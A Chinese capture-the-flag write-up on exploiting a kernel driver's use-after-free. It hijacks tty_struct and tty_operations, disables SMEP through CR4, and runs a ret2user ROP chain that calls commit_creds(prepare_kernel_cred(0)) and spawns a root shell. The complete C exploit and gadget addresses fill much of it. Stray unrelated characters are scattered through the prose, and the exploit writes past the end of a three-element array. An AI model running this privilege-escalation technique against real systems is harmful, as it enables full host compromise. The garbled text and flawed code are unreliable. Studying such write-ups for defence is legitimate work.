參考:https://xz.aliyun.com/t/4529
一焙贷、代碼分析:
//babyioctl:定義了 0x10001 的命令镜廉,可以釋放全局變量 babydev_struct 中的 device_buf贺喝,再根據用戶傳遞的 size 重新申請一塊內存,并設置 device_buf_len澎蛛。
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0LL, v5);
}
else
{
printk("\x013defalut:arg is %ld\n", v3, v3);
}
}
//babyopen: 申請一塊空間抚垄,大小為 0x40 字節(jié),地址存儲在全局變量 babydev_struct.device_buf 上谋逻,并更新 babydev_struct.device_buf_len
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 0x24000C0LL, v2);
return 0;
}
//babyread: 先檢查長度是否小于 babydev_struct.device_buf_len呆馁,然后把 babydev_struct.device_buf 中的數據拷貝到 buffer 中,buffer 和長度都是用戶傳遞的參數
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_to_user(buffer, babydev_struct.device_buf, v4);
}
}
//babywrite: 類似 babyread毁兆,不同的是從 buffer 拷貝到全局變量中
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_from_user(babydev_struct.device_buf, buffer, v4);
}
}
//babyrelease: 釋放空間浙滤,沒什么好說的
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}
二、漏洞分析及利用(繞過SMEP)
1.如何繞過
原理:SMEP即內核執(zhí)行保護荧恍,當 CPU 處于 ring0 模式時瓷叫,執(zhí)行 用戶空間的代碼 會觸發(fā)頁錯誤屯吊;系統(tǒng)根據CR4寄存器的第20位判斷內核是否開啟SMEP送巡,為1時開啟,為0時關閉(第21位是SMAP位)盒卸。
關閉SMEP方法:
mov cr4,0x6f0
pop rdi; ret
0x6f0
mov cr4,rdi; ret;
2.如何劫持控制流
利用到結構體tty_struct(本結構大小是0x2e0):
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; < -------------------------- 這里
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
其中有一個很有用的存函數指針的結構體tty_operations:
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count); < -------------------------- 這里
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
問題1:如何調用這個結構體骗爆?
......當open("/dev/ptmx", O_RDWR)時會創(chuàng)建一個tty_struct。
問題2:如何使用tty_operations中的函數指針蔽介?
......往上面所open的文件中write就會調用其中的int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);函數,依次類推虹蓄。
步驟:
......可以利用UAF構造大小和tty_struct一樣的空間(0x2e0)去存儲新建的tty_struct外臂,從而達到修改tty_struct的效果,并直接構造用戶態(tài)的偽tty_operations,修改其中的函數為rop,從而在調用函數時成功劫持程序流到我們所構造的rop中第练。
3.exp構造
(1)偽造tty_struct結構
先使tty_struct結構的const struct tty_operations *ops;指針指向偽造的fake_tty_operations呕寝。
int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
unsigned long fake_tty_str[3] = {0};
read(fd2,fake_tty_str,32); //讀取前3個8字節(jié),保證和原先一樣
fake_tty_str[3] = fake_tty_opera; //第4個指針指向fake_tty_operations孽江,這個fake_tty_opera直接構造即可。
//printf("fake_tty_opera:%x",fake_tty_opera);
write(fd2,fake_tty_str,32);
(2)偽造fake_tty_opera結構这刷,劫持控制流
再偽造fake_tty_opera結構洞辣,通過第8個指針write劫持控制流定鸟,第8個指針放上我們的rop。問題是這時候rsp指向內核棧,只能執(zhí)行1個gadget麦向。
起初這樣構造fake_tty_opera:
unsigned long fake_tty_opera[30] = {
0xffffffff810d238d, // pop rdi ; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
0xffffffff8100ce6e, // pop rax ; ret
rop,
0xFFFFFFFF8181BFC5,
0xffffffff8100ce6e, // pop rax ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
};
當執(zhí)行write函數時,會跳轉到0xffffffff8100ce6e處的gadget執(zhí)行沙郭,此時狀態(tài)如下:
此時rax指向fake_tty_opera結構鲤嫡,rsp指向內核棧惕耕。我們可以在fake_tty_opera結構上布置rop鏈,利用唯一的gadget將rax賦值給rsp挤安。
可用如下gadget:
mov rsp,rax
xchg rsp,rax
椔缭洌回溯看看情況,當我們調用write的時候,會執(zhí)行到我們構造的fake_tty_opera中的write函數偏移為8組的位置:
這里我們利用gadget:mov rsp,rax ; dec ebx ; ret。所以rop修改如下:
unsigned long fake_tty_opera[30] = {
0xffffffff810d238d, // pop rdi ; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
0xffffffff8100ce6e, // pop rax ; ret
rop,
0xFFFFFFFF8181BFC5,
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
};
(3)繼續(xù)構造rop鏈提權
以上fake_tty_opera中的rop已經更改了cr4寄存器差导,即關閉了smep保護试躏。由于fake_tty_opera空間太小,可跳轉到更大的空間繼續(xù)構造rop鏈设褐。接下來rop的任務是調用commit_creds(prepare_kernel_cred(0))函數來提權颠蕴,由于關閉了soep泣刹,可直接用ret2user方法。
unsigned long rop[30] = {
getroot,
0xffffffff81063694, // swapgs ; pop rbp ; ret
0,
0xffffffff814e35ef, // iretq; ret;
getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};
問題:不能將unsigned long rop[30]設置為unsigned long rop[]犀被,不然執(zhí)行完dec ebx后數組rop的內容會發(fā)生改變椅您。很奇怪?寡键?掀泳??西轩?开伏??
(4)exp如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
unsigned long user_cs,user_ss,user_rsp,user_flag;
unsigned long prepare_kernel_cred = 0xffffffff810a1810;
unsigned long commit_creds = 0xffffffff810a1420;
void save_state(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_flag;"
);
puts("[*] save the state success!");
}
void getshell(){
system("/bin/sh");
}
void getroot(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
int main(){
save_state();
unsigned long rop[] = { //狀態(tài)轉化遭商,getshell
getroot,
0xffffffff81063694, // swapgs ; pop rbp ; ret
0,
0xffffffff814e35ef, // iretq; ret;
getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};
unsigned long fake_tty_opera[30] = { //偽造的tty_opera
0xffffffff810d238d, // pop rdi ; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
0xffffffff8100ce6e, // pop rax ; ret
rop,
0xFFFFFFFF8181BFC5,
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
};
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0x2e0);
//printf("rop:%x",rop);
close(fd1);
int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
unsigned long fake_tty_str[3] = {0};
read(fd2,fake_tty_str,32);
fake_tty_str[3] = fake_tty_opera; //修改tty_struct
//printf("fake_tty_opera:%x",fake_tty_opera);
write(fd2,fake_tty_str,32);
write(fd3,"V1NKe",5); //觸發(fā)rop
return 0;
}